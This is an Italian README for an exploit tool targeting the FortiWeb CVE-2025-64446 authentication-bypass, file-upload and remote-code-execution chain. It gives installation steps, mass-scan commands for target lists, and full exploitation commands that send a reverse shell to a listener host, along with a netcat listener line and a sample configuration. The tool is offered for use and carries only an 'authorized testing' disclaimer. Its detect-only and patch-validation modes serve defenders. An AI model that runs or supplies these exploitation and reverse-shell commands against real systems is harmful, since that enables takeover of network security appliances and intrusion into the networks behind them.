
Strumento di ricerca sulla sicurezza per la vulnerabilità FortiWeb CVE-2025-64446. Framework di sfruttamento automatizzato con registrazione avanzata, metriche in tempo reale, debug tramite proxy e reportistica professionale. Include logica di retry, multi-threading e impostazioni configurabili. Solo per test di sicurezza autorizzati. CVSS 9.8 Critico.
Framework professionale per la ricerca sulla sicurezza e la valutazione delle vulnerabilità
Installazione · Avvio rapido · Guida all'uso · Architettura · Riferimento CLI · Disclaimer
FortiWeb Research Tool è un framework di valutazione in Python per il rilevamento e l'analisi autorizzati di CVE-2025-64446, un problema critico di esecuzione remota di codice pre-autenticazione che interessa gli appliance FortiWeb Web Application Firewall.
| Attributo | Dettaglio |
|---|---|
| Autore | Sudeepa Wanigarathna |
| CVE | CVE-2025-64446 |
| CVSS | 9.8 (Critico) |
| Classe | Bypass dell'autenticazione + path traversal → upload arbitrario di file → RCE |
| Versioni interessate | Build precedenti alla 7.6.7 / 7.8.7 / 8.0.2 (verificare rispetto all'advisory ufficiale) |
| Rimedio | Aggiornare a una release FortiWeb corretta |
| Linguaggio | Python 3.7+ |
| Punto di ingresso | exploit.py |
| Modalità | Flag | Scopo |
|---|---|---|
| Rilevamento | --detect-only | Indicatori di vulnerabilità non sfruttativi |
| Sicura / sola lettura | --safe-mode | Salta i passaggi di exploit che modificano lo stato |
| Scansione di massa | --targets + --scan-mode | Valutazione parallela multi-target |
| Sfruttamento | --target + --lhost | Catena controllata solo in laboratori autorizzati |
| Esecuzione simulata | --dry-run | Esegue il flusso senza applicare modifiche |
| Reportistica | --output-dir | Report di engagement in JSON + HTML |
| Campo | Valore |
|---|---|
| CVE ID | CVE-2025-64446 |
| Punteggio CVSS | 9.8 (Critico) |
| Impatto | Compromissione totale del sistema se sfruttata con successo |
| Correzione | Aggiornare a 7.6.7, 7.8.7, 8.0.2 o versioni successive |
Confermare sempre le versioni interessate/corrette con il Fortinet PSIRT prima di definire l'ambito dell'engagement.
| Utilizzo | Risultati della scansione |
|---|---|
![]() | ![]() |
| Output HTML |
|---|
![]() |
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit
python3 -m venv venv
source venv/bin/activate # Linux / macOS
# venv\Scripts\activate # Windows
pip install -r requirements.txt
python3 exploit.py --help
| Pacchetto | Ruolo |
|---|---|
requests, urllib3 | Client HTTP |
rich, colorama, tqdm | Interfaccia terminale e avanzamento |
pyyaml | Caricamento di config.yaml |
Opzionali (sviluppo): pytest, black, flake8, mypy, python-dotenv — vedere requirements.txt.
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10
# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
Nota: La modalità di sfruttamento richiede
--lhost. Usare--detect-onlyo--safe-modequando non si intende eseguire l'intera catena.
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30
La modalità di rilevamento valuta la raggiungibilità, gli indizi sulla versione, l'esposizione delle API, gli indicatori di path traversal, i segnali di bypass dell'autenticazione e l'accessibilità degli endpoint di upload. Il rischio viene classificato come Critico / Alto / Medio / Basso sulla base di questi indicatori.
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF
python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports
ScannerManager esegue i worker FortiWebScanner tramite un pool di thread, stampa una tabella riepilogativa Rich e scrive scan_report.json / scan_report.html.
# Start your listener first (example)
nc -lvnp 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999
I flag della CLI sovrascrivono i valori caricati dal file YAML.
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics # dataclasses
├── LogManager # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay # Rich / colorama UI
├── FortiWebScanner # detect-only checks (no exploit chain)
├── ScannerManager # threaded multi-target scans + reports
├── FortiWebExploit # single-target detect / exploit workflow
└── main() # argparse + mode dispatch
| Componente | Responsabilità |
|---|---|
FortiWebScanner | Controlli di raggiungibilità, versione e indicatori CVE |
ScannerManager | Scansioni parallele, report JSON/HTML, tabella riepilogativa |
FortiWebExploit | Sessione guidata da configurazione, tentativi, metriche, report, percorso di exploit opzionale |
LogManager | Registrazione strutturata su file + console colorata |
Flusso di alto livello per un singolo target:
reports/exploit.log, errors.log, requests.log--threads)--no-verify)reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html
logs/
├── exploit.log
├── errors.log
└── requests.log
{
"metadata": {
"tool_name": "FortiWeb Research Tool",
"version": "1.0",
"author": "Sudeepa Wanigarathna",
"timestamp": "2026-07-31T00:02:17",
"mode": "detect"
},
"target": {
"url": "https://192.168.1.100:8443",
"reachable": true,
"version": "7.6.0",
"vulnerable": true,
"risk_level": "Critical"
},
"metrics": {
"total_requests": 12,
"average_response_time": 0.42,
"success_rate": 0.91
}
}
python3 exploit.py [OPTIONS]
| Opzione | Descrizione |
|---|---|
--target URL | URL base FortiWeb singolo |
--targets FILE | Elenco di target separati da nuova riga |
--lhost IP | Host del listener (richiesto per lo sfruttamento) |
--lport PORT | Porta del listener (predefinita: 4444) |
--config FILE | Configurazione YAML |
--detect-only | Solo rilevamento; salta la catena di exploit |
--scan-mode | Scansione multi-target (richiede --targets) |
--safe-mode | Sola lettura; salta i passaggi che modificano lo stato |
--dry-run | Esecuzione simulata senza applicare modifiche |
--timeout SEC | Timeout delle richieste (predefinito: 15) |
--threads N | Numero di worker di scansione (predefinito: 5) |
--proxy URL | Proxy HTTP |
--user-agent STR | User-Agent personalizzato |
-v, --verbose | Registrazione / console dettagliata |
--no-verify | Disabilita la verifica dei certificati TLS |
--output-dir DIR | Directory dei report (predefinita: reports) |
--log-dir DIR | Directory dei log (predefinita: logs) |
-h, --help | Mostra l'aiuto |
.
├── exploit.py # Research tool (detect / scan / exploit)
├── config.yaml # Example configuration
├── requirements.txt # Python dependencies
├── reports/ # Generated JSON / HTML reports
├── logs/ # Runtime logs
├── LICENSE
├── SECURITY.md
├── .gitignore
└── README.md
--detect-only / --safe-mode dopo l'applicazione della patch per convalidare la correzione.Questo strumento è destinato esclusivamente a test di sicurezza, ricerca e formazione autorizzati.
Utilizzando questo software si conferma di avere l'autorizzazione, di non farne un uso improprio e di accettare la piena responsabilità per le proprie azioni. L'autore non è responsabile dell'uso improprio.
Vedere SECURITY.md per la segnalazione privata di vulnerabilità relative a questo progetto.
git checkout -b feature/your-changeSi prega di convalidare le modifiche solo in ambienti di laboratorio autorizzati ed evitare di committare dati di target reali, cookie o credenziali.
Licenza MIT — vedere LICENSE.
Copyright (c) 2026 Sudeepa Wanigarathna
| Autore | Sudeepa Wanigarathna |
| Problemi | GitHub Issues per questo repository |
| Sicurezza | Vedere SECURITY.md · [email protected] |
Solo ricerca autorizzata · FortiWeb CVE-2025-64446